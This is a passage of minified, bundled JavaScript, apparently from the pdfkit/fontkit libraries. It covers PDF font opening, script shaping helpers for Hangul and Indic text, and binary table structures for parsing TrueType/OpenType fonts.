                        throw new Error("Cannot construct a PDFFont directly.")
                    }

                    return t.open = function (t, n, i, s) {
                        var u;
                        if ("string" == typeof n) {
                            if (o.isStandardFont(n)) return new o(t, n, s);
                            u = a.openSync(n, i)
                        } else e.isBuffer(n) ? u = a.create(n, i) : n instanceof Uint8Array ? u = a.create(new e(n), i) : n instanceof ArrayBuffer && (u = a.create(new e(new Uint8Array(n)), i));
                        if (null == u) throw new Error("Not a supported font format or standard PDF font.");
                        return new r(t, u, s)
                    }, t.prototype.encode = function (t) {
                        throw new Error("Must be implemented by subclasses")
                    }, t.prototype.widthOfString = function (t) {
                        throw new Error("Must be implemented by subclasses")
                    }, t.prototype.ref = function () {
                        return null != this.dictionary ? this.dictionary : this.dictionary = this.document.ref()
                    }, t.prototype.finalize = function () {
                        if (!this.embedded && null != this.dictionary) return this.embed(), this.embedded = !0
                    }, t.prototype.embed = function () {
                        throw new Error("Must be implemented by subclasses")
                    }, t.prototype.lineHeight = function (t, e) {
                        var n;
                        return null == e && (e = !1), n = e ? this.lineGap : 0, (this.ascender + n - this.descender) / 1e3 * t
                    }, t
                }(), t.exports = i, o = n(279), r = n(281)
            }).call(this)
        }).call(e, n(2).Buffer)
    }, function (t, e, n) {
        (function (e, r) {
            "use strict";

            function i(t) {
                return t && "object" == typeof t && "default" in t ? t.default : t
            }

            function o(t, e, n) {
                if (n.get) !function () {
                    var t = n.get;
                    n.get = function () {
                        var n = t.call(this);
                        return X(this, e, {value: n}), n
                    }
                }(); else if ("function" == typeof n.value) {
                    var r = function () {
                        var t = n.value;
                        return {
                            v: {
                                get: function () {
                                    function n() {
                                        for (var e = arguments.length, n = Array(e), i = 0; i < e; i++) n[i] = arguments[i];
                                        var o = n.length > 0 ? n[0] : "value";
                                        if (r.has(o)) return r.get(o);
                                        var a = t.apply(this, n);
                                        return r.set(o, a), a
                                    }

                                    var r = new $;
                                    return X(this, e, {value: n}), n
                                }
                            }
                        }
                    }();
                    if ("object" === (void 0 === r ? "undefined" : K(r))) return r.v
                }
            }

            function a(t, e) {
                var n = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : 0;
                return 1 === t && Bt[n] ? Bt[n] : Lt[t][e]
            }

            function s(t) {
                var e = new V.Struct({
                    lookupType: V.uint16,
                    flags: Qe,
                    subTableCount: V.uint16,
                    subTables: new V.Array(new V.Pointer(V.uint16, t), "subTableCount"),
                    markFilteringSet: V.uint16
                });
                return new V.LazyArray(new V.Pointer(V.uint16, e), V.uint16)
            }

            function u() {
                var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, e = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : V.uint16,
                    n = ot({newState: V.uint16, flags: V.uint16}, t), r = new V.Struct(n), i = new Mr(new V.Array(V.uint16, function (t) {
                        return t.nClasses
                    }));
                return new V.Struct({
                    nClasses: V.uint32,
                    classTable: new V.Pointer(V.uint32, new zr(e)),
                    stateArray: new V.Pointer(V.uint32, i),
                    entryTable: new V.Pointer(V.uint32, new Mr(r))
                })
            }

            function c() {
                var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {},
                    e = (arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : V.uint16, new V.Struct({
                        version: function () {
                            return 8
                        }, firstGlyph: V.uint16, values: new V.Array(V.uint8, V.uint16)
                    })), n = ot({
                        newStateOffset: V.uint16, newState: function (t) {
                            return (t.newStateOffset - (t.parent.stateArray.base - t.parent._startOffset)) / t.parent.nClasses
                        }, flags: V.uint16
                    }, t), r = new V.Struct(n), i = new Mr(new V.Array(V.uint8, function (t) {
                        return t.nClasses
                    }));
                return new V.Struct({
                    nClasses: V.uint16,
                    classTable: new V.Pointer(V.uint16, e),
                    stateArray: new V.Pointer(V.uint16, i),
                    entryTable: new V.Pointer(V.uint16, new Mr(r))
                })
            }

            function l(t, e) {
                for (var n = 0, r = t.length - 1; n <= r;) {
                    var i = n + r >> 1, o = e(t[i]);
                    if (o < 0) r = i - 1; else {
                        if (!(o > 0)) return i;
                        n = i + 1
                    }
                }
                return -1
            }

            function f(t, e) {
                for (var n = []; t < e;) n.push(t++);
                return n
            }

            function h(t, e, n, r, i) {
                var o = {};
                return Object.keys(r).forEach(function (t) {
                    o[t] = r[t]
                }), o.enumerable = !!o.enumerable, o.configurable = !!o.configurable, ("value" in o || o.initializer) && (o.writable = !0), o = n.slice().reverse().reduce(function (n, r) {
                    return r(t, e, n) || n
                }, o), i && void 0 !== o.initializer && (o.value = o.initializer ? o.initializer.call(i) : void 0, o.initializer = void 0), void 0 === o.initializer && (Object.defineProperty(t, e, o), o = null), o
            }

            function p(t) {
                for (var e = t.length, n = 0; n < e;) {
                    var r = t.charCodeAt(n++);
                    if (55296 <= r && r <= 56319 && n < e) {
                        var i = t.charCodeAt(n);
                        56320 <= i && i <= 57343 && (n++, r = ((1023 & r) << 10) + (1023 & i) + 65536)
                    }
                    var o = ct.getScript(r);
                    if ("Common" !== o && "Inherited" !== o && "Unknown" !== o) return Ci[o]
                }
                return Ci.Unknown
            }

            function d(t) {
                for (var e = 0; e < t.length; e++) {
                    var n = t[e], r = ct.getScript(n);
                    if ("Common" !== r && "Inherited" !== r && "Unknown" !== r) return Ci[r]
                }
                return Ci.Unknown
            }

            function g(t) {
                return Ai[t] ? "rtl" : "ltr"
            }

            function v(t) {
                for (var e = {}, n = 0; n < t.length; n++) {
                    var r = void 0;
                    (r = Ii[t[n]]) && (null == e[r[0]] && (e[r[0]] = {}), e[r[0]][r[1]] = !0)
                }
                return e
            }

            function y(t) {
                var e = t[0], n = t[1];
                if (isNaN(e)) var r = Ei[e] && Ei[e].code; else var r = e;
                if (isNaN(n)) var i = Ei[e] && Ei[e][n]; else var i = n;
                return [r, i]
            }

            function m(t) {
                var e = {};
                if (Array.isArray(t)) for (var n = 0; n < t.length; n++) {
                    var r = void 0, i = y(t[n]);
                    (r = Ti[i[0]] && Ti[i[0]][i[1]]) && (e[r] = !0)
                } else if ("object" === (void 0 === t ? "undefined" : K(t))) for (var o in t) {
                    var a = t[o];
                    for (var s in a) {
                        var u = void 0, c = y([o, s]);
                        a[s] && (u = Ti[c[0]] && Ti[c[0]][c[1]]) && (e[u] = !0)
                    }
                }
                return Y(e)
            }

            function b(t, e, n) {
                var r = arguments.length > 3 && void 0 !== arguments[3] && arguments[3], i = arguments.length > 4 && void 0 !== arguments[4] && arguments[4],
                    o = t.splice(n[0] - (n[1] - 1), n[1]);
                i && o.reverse();
                var a = t.splice.apply(t, [e[0], e[1]].concat(o));
                return r && a.reverse(), t.splice.apply(t, [n[0] - (e[1] - 1), 0].concat(a)), t
            }

            function w(t, e, n, r) {
                switch (e) {
                    case 0:
                        return t;
                    case 1:
                        return b(t, [n, 1], [r, 0]);
                    case 2:
                        return b(t, [n, 0], [r, 1]);
                    case 3:
                        return b(t, [n, 1], [r, 1]);
                    case 4:
                        return b(t, [n, 2], [r, 0]);
                    case 5:
                        return b(t, [n, 2], [r, 0], !0, !1);
                    case 6:
                        return b(t, [n, 0], [r, 2]);
                    case 7:
                        return b(t, [n, 0], [r, 2], !1, !0);
                    case 8:
                        return b(t, [n, 1], [r, 2]);
                    case 9:
                        return b(t, [n, 1], [r, 2], !1, !0);
                    case 10:
                        return b(t, [n, 2], [r, 1]);
                    case 11:
                        return b(t, [n, 2], [r, 1], !0, !1);
                    case 12:
                        return b(t, [n, 2], [r, 2]);
                    case 13:
                        return b(t, [n, 2], [r, 2], !0, !1);
                    case 14:
                        return b(t, [n, 2], [r, 2], !1, !0);
                    case 15:
                        return b(t, [n, 2], [r, 2], !0, !0);
                    default:
                        throw new Error("Unknown verb: " + e)
                }
            }

            function x(t) {
                var e = Qi.get(t);
                if (e) return e - 1;
                var n = ct.getCategory(t);
                return "Mn" === n || "Me" === n || "Cf" === n ? to.Transparent : to.Non_Joining
            }

            function S(t) {
                return So(t) ? Lo : ko(t) ? Bo : _o(t) ? Ro : Eo(t) ? Mo : Ao(t) ? zo : Co(t) ? Fo : To
            }

            function k(t, e, n) {
                return new uo(t, t.glyphForCodePoint(e).id, [e], n)
            }

            function _(t, e, n) {
                var r = t[e], i = r.codePoints[0], o = i - lo, a = go + o % yo;
                o     = o / yo | 0;
                var s = ho + o / vo | 0, u = po + o % vo;
                if (!n.hasGlyphForCodePoint(s) || !n.hasGlyphForCodePoint(u) || a !== go && !n.hasGlyphForCodePoint(a)) return e;
                var c           = k(n, s, r.features);
                c.features.ljmo = !0;
                var l           = k(n, u, r.features);
                l.features.vjmo = !0;
                var f           = [c, l];
                if (a > go) {
                    var h = k(n, a, r.features);
                    h.features.tjmo = !0, f.push(h)
                }
                return t.splice.apply(t, [e, 1].concat(f)), e + f.length - 1
            }

            function C(t, e, n) {
                var r = t[e], i = t[e].codePoints[0], o = S(i), a = t[e - 1].codePoints[0], s = S(a), u = void 0, c = void 0, l = void 0, f = void 0;
                if (s === Mo && o === Ro) u = a, f = r; else {
                    o === Bo ? (c = t[e - 1], l = r) : (c = t[e - 2], l = t[e - 1], f = r);
                    var h = c.codePoints[0], p = l.codePoints[0];
                    Po(h) && Io(p) && (u = lo + ((h - ho) * vo + (p - po)) * yo)
                }
                var d = f && f.codePoints[0] || go;
                if (null != u && (d === go || Oo(d))) {
                    var g = u + (d - go);
                    if (n.hasGlyphForCodePoint(g)) {
                        var v = s === Bo ? 3 : 2;
                        return t.splice(e - v + 1, v, k(n, g, r.features)), e - v + 1
                    }
                }
                return c && (c.features.ljmo = !0), l && (l.features.vjmo = !0), f && (f.features.tjmo = !0), s === Mo ? (_(t, e - 1, n), e + 1) : e
            }

            function A(t) {
                switch (S(t)) {
                    case Mo:
                    case zo:
                        return 1;
                    case Bo:
                        return 2;
                    case Ro:
                        return 3
                }
            }

            function E(t, e, n) {
                var r = t[e], i = t[e].codePoints[0];
                if (0 !== n.glyphForCodePoint(i).advanceWidth) {
                    var o = t[e - 1].codePoints[0], a = A(o);
                    return t.splice(e, 1), t.splice(e - a, 0, r)
                }
            }

            function P(t, e, n) {
                var r = t[e], i = t[e].codePoints[0];
                if (n.hasGlyphForCodePoint(xo)) {
                    var o = k(n, xo, r.features), a = 0 === n.glyphForCodePoint(i).advanceWidth ? e : e + 1;
                    t.splice(a, 0, o), e++
                }
                return e
            }

            function I(t) {
                return Jo.get(t.codePoints[0])
            }

            function O(t, e) {
                for (var n = 0, r = Qo.match(e.map(I)), i = Array.isArray(r), o = 0, r = i ? r : H(r); ;) {
                    var a;
                    if (i) {
                        if (o >= r.length) break;
                        a = r[o++]
                    } else {
                        if (o = r.next(), o.done) break;
                        a = o.value
                    }
                    var s = a, u = s[0], c = s[1], l = s[2];
                    ++n;
                    for (var f = u; f <= c; f++) e[f].shaperInfo = new ta(Ko[I(e[f])], l[0], n);
                    for (var h = "R" === e[u].shaperInfo.category ? 1 : Math.min(3, c - u), p = u; p < u + h; p++) e[p].features.rphf = !0
                }
            }

            function T(t, e) {
                for (var n = e, r = Array.isArray(n), i = 0, n = r ? n : H(n); ;) {
                    var o;
                    if (r) {
                        if (i >= n.length) break;
                        o = n[i++]
                    } else {
                        if (i = n.next(), i.done) break;
                        o = i.value
                    }
                    o.substituted = !1
                }
            }

            function L(t, e) {
                for (var n = e, r = Array.isArray(n), i = 0, n = r ? n : H(n); ;) {
                    var o;
                    if (r) {
                        if (i >= n.length) break;
                        o = n[i++]
                    } else {
                        if (i = n.next(), i.done) break;
                        o = i.value
                    }
                    var a = o;
                    a.substituted && a.features.rphf && (a.shaperInfo.category = "R")
                }
            }

            function B(t, e) {
                for (var n = e, r = Array.isArray(n), i = 0, n = r ? n : H(n); ;) {
                    var o;
                    if (r) {
                        if (i >= n.length) break;
                        o = n[i++]
                    } else {
                        if (i = n.next(), i.done) break;
                        o = i.value
                    }
                    var a = o;
                    a.substituted && (a.shaperInfo.category = "VPre")
                }
            }

            function R(t, e) {
                for (var n = t.glyphForCodePoint(9676).id, r = 0, i = M(e, 0); r < e.length; r = i, i = M(e, r)) {
                    var o = void 0, a = void 0, s = e[r].shaperInfo, u = s.syllableType;
                    if ("virama_terminated_cluster" === u || "standard_cluster" === u || "broken_cluster" === u) {
                        if ("broken_cluster" === u && n) {
                            var c = new uo(t, n, [9676]);
                            for (c.shaperInfo = s, o = r; o < i && "R" === e[o].shaperInfo.category; o++) ;
                            e.splice(++o, 0, c), i++
                        }
                        if ("R" === s.category && i - r > 1) for (o = r + 1; o < i; o++) if (s = e[o].shaperInfo, F(s) || z(e[o])) {
                            z(e[o]) && o--, e.splice.apply(e, [r, 0].concat(e.splice(r + 1, o - r), [e[o]]));
                            break
                        }
                        for (o = r, a = i; o < i; o++) s = e[o].shaperInfo, F(s) || z(e[o]) ? a = z(e[o]) ? o + 1 : o : ("VPre" === s.category || "VMPre" === s.category) && a < o && e.splice.apply(e, [a, 1, e[o]].concat(e.splice(a, o - a)))
                    }
                }
            }

            function M(t, e) {
                if (e >= t.length) return e;
                for (var n = t[e].shaperInfo.syllable; ++e < t.length && t[e].shaperInfo.syllable === n;) ;
                return e
            }

            function z(t) {
                return "H" === t.shaperInfo.category && !t.isLigated
            }

            function F(t) {
                return "B" === t.category || "GB" === t.category
            }

            function D(t) {
                var e = ea[t];
                return e ? e : Ji
            }

            function N(t, e, n, r, i) {
                var o = {};
                return Object.keys(r).forEach(function (t) {
                    o[t] = r[t]
                }), o.enumerable = !!o.enumerable, o.configurable = !!o.configurable, ("value" in o || o.initializer) && (o.writable = !0), o = n.slice().reverse().reduce(function (n, r) {
                    return r(t, e, n) || n
                }, o), i && void 0 !== o.initializer && (o.value = o.initializer ? o.initializer.call(i) : void 0, o.initializer = void 0), void 0 === o.initializer && (Object.defineProperty(t, e, o), o = null), o
            }

            function U(t, e, n, r, i) {
                var o = {};
                return Object.keys(r).forEach(function (t) {
                    o[t] = r[t]
                }), o.enumerable = !!o.enumerable, o.configurable = !!o.configurable, ("value" in o || o.initializer) && (o.writable = !0), o = n.slice().reverse().reduce(function (n, r) {
                    return r(t, e, n) || n
                }, o), i && void 0 !== o.initializer && (o.value = o.initializer ? o.initializer.call(i) : void 0, o.initializer = void 0), void 0 === o.initializer && (Object.defineProperty(t, e, o), o = null), o
            }

            function W(t) {
                var e = t.readUInt8();
                return e === Wa ? t.readUInt16BE() : e === Ga ? t.readUInt8() + Va : e === ja ? t.readUInt8() + 2 * Va : e
            }

            function j(t, e) {
                return 1 & t ? e : -e
            }

            function G(t, e, n) {
                for (var r = void 0, i = r = 0, o = [], a = 0; a < n; a++) {
                    var s = 0, u = 0, c = t.readUInt8(), l = !(c >> 7);
                    if ((c &= 127) < 10) s = 0, u = j(c, ((14 & c) << 7) + e.readUInt8()); else if (c < 20) s = j(c, ((c - 10 & 14) << 7) + e.readUInt8()), u = 0; else if (c < 84) {
                        var f = c - 20, h = e.readUInt8();
                        s = j(c, 1 + (48 & f) + (h >> 4)), u = j(c >> 1, 1 + ((12 & f) << 2) + (15 & h))
                    } else if (c < 120) {
                        var f = c - 84;
                        s = j(c, 1 + (f / 12 << 8) + e.readUInt8()), u = j(c >> 1, 1 + (f % 12 >> 2 << 8) + e.readUInt8())
                    } else if (c < 124) {
                        var h = e.readUInt8(), p = e.readUInt8();
                        s = j(c, (h << 4) + (p >> 4)), u = j(c >> 1, ((15 & p) << 8) + e.readUInt8())
                    } else s = j(c, e.readUInt16BE()), u = j(c >> 1, e.readUInt16BE());
                    i += s, r += u, o.push(new ga(l, !1, i, r))
                }
                return o
            }

            var V = i(n(81)), q = i(n(119)), H = i(n(145)), Z = i(n(178)), Y = i(n(182)), K = i(n(185)), X = i(n(202)), J = i(n(205)), Q = i(n(206)), $ = i(n(207)),
                tt = i(n(224)), et = i(n(225)), nt = n(107), rt = i(n(233)), it = i(n(236)), ot = i(n(239)), at = i(n(243)), st = i(n(246)), ut = i(n(251)), ct = i(n(255)),
                lt = i(n(15)), ft = i(n(257)), ht = i(n(266)), pt = i(n(16)), dt = i(n(267)), gt = {};
            gt.logErrors = !1;
            var vt = [];
            gt.registerFormat = function (t) {
                vt.push(t)
            }, gt.openSync = function (t, e) {
                var r = n(53).readFileSync(t);
                return gt.create(r, e)
            }, gt.open = function (t, e, r) {
                "function" == typeof e && (r = e, e = null), n(53).readFile(t, function (t, n) {
                    if (t) return r(t);
                    try {
                        var i = gt.create(n, e)
                    } catch (t) {
                        return r(t)
                    }
                    return r(null, i)
                })
            }, gt.create = function (t, e) {
                for (var n = 0; n < vt.length; n++) {
                    var r = vt[n];
                    if (r.probe(t)) {
                        var i = new r(new V.DecodeStream(t));
                        return e ? i.getFont(e) : i
                    }
                }
                throw new Error("Unknown font format")
            };
            var yt = new V.Struct({firstCode: V.uint16, entryCount: V.uint16, idDelta: V.int16, idRangeOffset: V.uint16}),
                mt = new V.Struct({startCharCode: V.uint32, endCharCode: V.uint32, glyphID: V.uint32}),
                bt = new V.Struct({startUnicodeValue: V.uint24, additionalCount: V.uint8}), wt = new V.Struct({unicodeValue: V.uint24, glyphID: V.uint16}),
                xt = new V.Array(bt, V.uint32), St = new V.Array(wt, V.uint32), kt = new V.Struct({
                    varSelector: V.uint24,
                    defaultUVS: new V.Pointer(V.uint32, xt, {type: "parent"}),
                    nonDefaultUVS: new V.Pointer(V.uint32, St, {type: "parent"})
                }), _t = new V.VersionedStruct(V.uint16, {
                    0: {length: V.uint16, language: V.uint16, codeMap: new V.LazyArray(V.uint8, 256)},
                    2: {
                        length: V.uint16, language: V.uint16, subHeaderKeys: new V.Array(V.uint16, 256), subHeaderCount: function (t) {
                            return Math.max.apply(Math, t.subHeaderKeys)
                        }, subHeaders: new V.LazyArray(yt, "subHeaderCount"), glyphIndexArray: new V.LazyArray(V.uint16, "subHeaderCount")
                    },
                    4: {
                        length: V.uint16,
                        language: V.uint16,
                        segCountX2: V.uint16,
                        segCount: function (t) {
                            return t.segCountX2 >> 1
                        },
                        searchRange: V.uint16,
                        entrySelector: V.uint16,
                        rangeShift: V.uint16,
                        endCode: new V.LazyArray(V.uint16, "segCount"),
                        reservedPad: new V.Reserved(V.uint16),
                        startCode: new V.LazyArray(V.uint16, "segCount"),
                        idDelta: new V.LazyArray(V.int16, "segCount"),
                        idRangeOffset: new V.LazyArray(V.uint16, "segCount"),
                        glyphIndexArray: new V.LazyArray(V.uint16, function (t) {
                            return (t.length - t._currentOffset) / 2
                        })
                    },
                    6: {length: V.uint16, language: V.uint16, firstCode: V.uint16, entryCount: V.uint16, glyphIndices: new V.LazyArray(V.uint16, "entryCount")},
                    8: {
                        reserved: new V.Reserved(V.uint16),
                        length: V.uint32,
                        language: V.uint16,
                        is32: new V.LazyArray(V.uint8, 8192),
                        nGroups: V.uint32,
                        groups: new V.LazyArray(mt, "nGroups")
                    },
                    10: {
                        reserved: new V.Reserved(V.uint16),
                        length: V.uint32,
                        language: V.uint32,
                        firstCode: V.uint32,
                        entryCount: V.uint32,
                        glyphIndices: new V.LazyArray(V.uint16, "numChars")
                    },
                    12: {reserved: new V.Reserved(V.uint16), length: V.uint32, language: V.uint32, nGroups: V.uint32, groups: new V.LazyArray(mt, "nGroups")},
                    13: {reserved: new V.Reserved(V.uint16), length: V.uint32, language: V.uint32, nGroups: V.uint32, groups: new V.LazyArray(mt, "nGroups")},
                    14: {length: V.uint32, numRecords: V.uint32, varSelectors: new V.LazyArray(kt, "numRecords")}
                }), Ct = new V.Struct({platformID: V.uint16, encodingID: V.uint16, table: new V.Pointer(V.uint32, _t, {type: "parent", lazy: !0})}),
                At = new V.Struct({version: V.uint16, numSubtables: V.uint16, tables: new V.Array(Ct, "numSubtables")}), Et = new V.Struct({
                    version: V.int32,
                    revision: V.int32,
                    checkSumAdjustment: V.uint32,
                    magicNumber: V.uint32,
                    flags: V.uint16,
                    unitsPerEm: V.uint16,
                    created: new V.Array(V.int32, 2),
                    modified: new V.Array(V.int32, 2),
                    xMin: V.int16,
                    yMin: V.int16,
                    xMax: V.int16,
                    yMax: V.int16,
                    macStyle: new V.Bitfield(V.uint16, ["bold", "italic", "underline", "outline", "shadow", "condensed", "extended"]),
                    lowestRecPPEM: V.uint16,
                    fontDirectionHint: V.int16,
                    indexToLocFormat: V.int16,
                    glyphDataFormat: V.int16
                }), Pt = new V.Struct({
                    version: V.int32,
                    ascent: V.int16,
                    descent: V.int16,
                    lineGap: V.int16,
                    advanceWidthMax: V.uint16,
                    minLeftSideBearing: V.int16,
                    minRightSideBearing: V.int16,
                    xMaxExtent: V.int16,
                    caretSlopeRise: V.int16,
                    caretSlopeRun: V.int16,
                    caretOffset: V.int16,
                    reserved: new V.Reserved(V.int16, 4),
                    metricDataFormat: V.int16,
                    numberOfMetrics: V.uint16
                }), It = new V.Struct({advance: V.uint16, bearing: V.int16}), Ot = new V.Struct({
                    metrics: new V.LazyArray(It, function (t) {
                        return t.parent.hhea.numberOfMetrics
                    }), bearings: new V.LazyArray(V.int16, function (t) {
                        return t.parent.maxp.numGlyphs - t.parent.hhea.numberOfMetrics
                    })
                }), Tt = new V.Struct({
                    version: V.int32,
                    numGlyphs: V.uint16,
                    maxPoints: V.uint16,
                    maxContours: V.uint16,
                    maxComponentPoints: V.uint16,
                    maxComponentContours: V.uint16,
                    maxZones: V.uint16,
                    maxTwilightPoints: V.uint16,
                    maxStorage: V.uint16,
                    maxFunctionDefs: V.uint16,
                    maxInstructionDefs: V.uint16,
                    maxStackElements: V.uint16,
                    maxSizeOfInstructions: V.uint16,
                    maxComponentElements: V.uint16,
                    maxComponentDepth: V.uint16
                }),
                Lt = [["utf16be", "utf16be", "utf16be", "utf16be", "utf16be", "utf16be"], ["macroman", "shift-jis", "big5", "euc-kr", "iso-8859-6", "iso-8859-8", "macgreek", "maccyrillic", "symbol", "Devanagari", "Gurmukhi", "Gujarati", "Oriya", "Bengali", "Tamil", "Telugu", "Kannada", "Malayalam", "Sinhalese", "Burmese", "Khmer", "macthai", "Laotian", "Georgian", "Armenian", "gb-2312-80", "Tibetan", "Mongolian", "Geez", "maccenteuro", "Vietnamese", "Sindhi"], ["ascii"], ["symbol", "utf16be", "shift-jis", "gb18030", "big5", "wansung", "johab", null, null, null, "utf16be"]],
                Bt = {
                    15: "maciceland",
                    17: "macturkish",
                    18: "maccroatian",
                    24: "maccenteuro",
                    25: "maccenteuro",
                    26: "maccenteuro",
                    27: "maccenteuro",
                    28: "maccenteuro",
                    30: "maciceland",
                    37: "macromania",
                    38: "maccenteuro",
                    39: "maccenteuro",
                    40: "maccenteuro",
                    143: "macinuit",
                    146: "macgaelic"
                }, Rt = [[], {
                    0: "en",
                    30: "fo",
                    60: "ks",
                    90: "rw",
                    1: "fr",
                    31: "fa",
                    61: "ku",
                    91: "rn",
                    2: "de",
                    32: "ru",
                    62: "sd",
                    92: "ny",
                    3: "it",
                    33: "zh",
                    63: "bo",
                    93: "mg",
                    4: "nl",
                    34: "nl-BE",
                    64: "ne",
                    94: "eo",
                    5: "sv",
                    35: "ga",
                    65: "sa",
                    128: "cy",
                    6: "es",
                    36: "sq",
                    66: "mr",
                    129: "eu",
                    7: "da",
                    37: "ro",
                    67: "bn",
                    130: "ca",
                    8: "pt",
                    38: "cz",
                    68: "as",
                    131: "la",
                    9: "no",
                    39: "sk",
                    69: "gu",
                    132: "qu",
                    10: "he",
                    40: "si",
                    70: "pa",
                    133: "gn",
                    11: "ja",
                    41: "yi",
                    71: "or",
                    134: "ay",
                    12: "ar",
                    42: "sr",
                    72: "ml",
                    135: "tt",
                    13: "fi",
                    43: "mk",
                    73: "kn",
                    136: "ug",
                    14: "el",
                    44: "bg",
                    74: "ta",
                    137: "dz",
                    15: "is",
                    45: "uk",
                    75: "te",
                    138: "jv",
                    16: "mt",
                    46: "be",
                    76: "si",
                    139: "su",
                    17: "tr",
                    47: "uz",
                    77: "my",
                    140: "gl",
                    18: "hr",
                    48: "kk",
                    78: "km",
                    141: "af",
                    19: "zh-Hant",
                    49: "az-Cyrl",
                    79: "lo",
                    142: "br",
                    20: "ur",
                    50: "az-Arab",
                    80: "vi",
                    143: "iu",
                    21: "hi",
                    51: "hy",
                    81: "id",
                    144: "gd",
                    22: "th",
                    52: "ka",
                    82: "tl",
                    145: "gv",
                    23: "ko",
                    53: "mo",
                    83: "ms",
                    146: "ga",
                    24: "lt",
                    54: "ky",
                    84: "ms-Arab",
                    147: "to",
                    25: "pl",
                    55: "tg",
                    85: "am",
                    148: "el-polyton",
                    26: "hu",
                    56: "tk",
                    86: "ti",
                    149: "kl",
                    27: "es",
                    57: "mn-CN",
                    87: "om",
                    150: "az",
                    28: "lv",
                    58: "mn",
                    88: "so",
                    151: "nn",
                    29: "se",
                    59: "ps",
                    89: "sw"
                }, [], {
                    1078: "af",
                    16393: "en-IN",
                    1159: "rw",
                    1074: "tn",
                    1052: "sq",
                    6153: "en-IE",
                    1089: "sw",
                    1115: "si",
                    1156: "gsw",
                    8201: "en-JM",
                    1111: "kok",
                    1051: "sk",
                    1118: "am",
                    17417: "en-MY",
                    1042: "ko",
                    1060: "sl",
                    5121: "ar-DZ",
                    5129: "en-NZ",
                    1088: "ky",
                    11274: "es-AR",
                    15361: "ar-BH",
                    13321: "en-PH",
                    1108: "lo",
                    16394: "es-BO",
                    3073: "ar",
                    18441: "en-SG",
                    1062: "lv",
                    13322: "es-CL",
                    2049: "ar-IQ",
                    7177: "en-ZA",
                    1063: "lt",
                    9226: "es-CO",
                    11265: "ar-JO",
                    11273: "en-TT",
                    2094: "dsb",
                    5130: "es-CR",
                    13313: "ar-KW",
                    2057: "en-GB",
                    1134: "lb",
                    7178: "es-DO",
                    12289: "ar-LB",
                    1033: "en",
                    1071: "mk",
                    12298: "es-EC",
                    4097: "ar-LY",
                    12297: "en-ZW",
                    2110: "ms-BN",
                    17418: "es-SV",
                    6145: "ary",
                    1061: "et",
                    1086: "ms",
                    4106: "es-GT",
                    8193: "ar-OM",
                    1080: "fo",
                    1100: "ml",
                    18442: "es-HN",
                    16385: "ar-QA",
                    1124: "fil",
                    1082: "mt",
                    2058: "es-MX",
                    1025: "ar-SA",
                    1035: "fi",
                    1153: "mi",
                    19466: "es-NI",
                    10241: "ar-SY",
                    2060: "fr-BE",
                    1146: "arn",
                    6154: "es-PA",
                    7169: "aeb",
                    3084: "fr-CA",
                    1102: "mr",
                    15370: "es-PY",
                    14337: "ar-AE",
                    1036: "fr",
                    1148: "moh",
                    10250: "es-PE",
                    9217: "ar-YE",
                    5132: "fr-LU",
                    1104: "mn",
                    20490: "es-PR",
                    1067: "hy",
                    6156: "fr-MC",
                    2128: "mn-CN",
                    3082: "es",
                    1101: "as",
                    4108: "fr-CH",
                    1121: "ne",
                    1034: "es",
                    2092: "az-Cyrl",
                    1122: "fy",
                    1044: "nb",
                    21514: "es-US",
                    1068: "az",
                    1110: "gl",
                    2068: "nn",
                    14346: "es-UY",
                    1133: "ba",
                    1079: "ka",
                    1154: "oc",
                    8202: "es-VE",
                    1069: "eu",
                    3079: "de-AT",
                    1096: "or",
                    2077: "sv-FI",
                    1059: "be",
                    1031: "de",
                    1123: "ps",
                    1053: "sv",
                    2117: "bn",
                    5127: "de-LI",
                    1045: "pl",
                    1114: "syr",
                    1093: "bn-IN",
                    4103: "de-LU",
                    1046: "pt",
                    1064: "tg",
                    8218: "bs-Cyrl",
                    2055: "de-CH",
                    2070: "pt-PT",
                    2143: "tzm",
                    5146: "bs",
                    1032: "el",
                    1094: "pa",
                    1097: "ta",
                    1150: "br",
                    1135: "kl",
                    1131: "qu-BO",
                    1092: "tt",
                    1026: "bg",
                    1095: "gu",
                    2155: "qu-EC",
                    1098: "te",
                    1027: "ca",
                    1128: "ha",
                    3179: "qu",
                    1054: "th",
                    3076: "zh-HK",
                    1037: "he",
                    1048: "ro",
                    1105: "bo",
                    5124: "zh-MO",
                    1081: "hi",
                    1047: "rm",
                    1055: "tr",
                    2052: "zh",
                    1038: "hu",
                    1049: "ru",
                    1090: "tk",
                    4100: "zh-SG",
                    1039: "is",
                    9275: "smn",
                    1152: "ug",
                    1028: "zh-TW",
                    1136: "ig",
                    4155: "smj-NO",
                    1058: "uk",
                    1155: "co",
                    1057: "id",
                    5179: "smj",
                    1070: "hsb",
                    1050: "hr",
                    1117: "iu",
                    3131: "se-FI",
                    1056: "ur",
                    4122: "hr-BA",
                    2141: "iu-Latn",
                    1083: "se",
                    2115: "uz-Cyrl",
                    1029: "cs",
                    2108: "ga",
                    2107: "se-SE",
                    1091: "uz",
                    1030: "da",
                    1076: "xh",
                    8251: "sms",
                    1066: "vi",
                    1164: "prs",
                    1077: "zu",
                    6203: "sma-NO",
                    1106: "cy",
                    1125: "dv",
                    1040: "it",
                    7227: "sms",
                    1160: "wo",
                    2067: "nl-BE",
                    2064: "it-CH",
                    1103: "sa",
                    1157: "sah",
                    1043: "nl",
                    1041: "ja",
                    7194: "sr-Cyrl-BA",
                    1144: "ii",
                    3081: "en-AU",
                    1099: "kn",
                    3098: "sr",
                    1130: "yo",
                    10249: "en-BZ",
                    1087: "kk",
                    6170: "sr-Latn-BA",
                    4105: "en-CA",
                    1107: "km",
                    2074: "sr-Latn",
                    9225: "en-029",
                    1158: "quc",
                    1132: "nso"
                }], Mt = new V.Struct({
                    platformID: V.uint16,
                    encodingID: V.uint16,
                    languageID: V.uint16,
                    nameID: V.uint16,
                    length: V.uint16,
                    string: new V.Pointer(V.uint16, new V.String("length", function (t) {
                        return a(t.platformID, t.encodingID, t.languageID)
                    }), {type: "parent", relativeTo: "parent.stringOffset", allowNull: !1})
                }), zt = new V.Struct({length: V.uint16, tag: new V.Pointer(V.uint16, new V.String("length", "utf16be"), {type: "parent", relativeTo: "stringOffset"})}),
                NameTable = new V.VersionedStruct(V.uint16, {
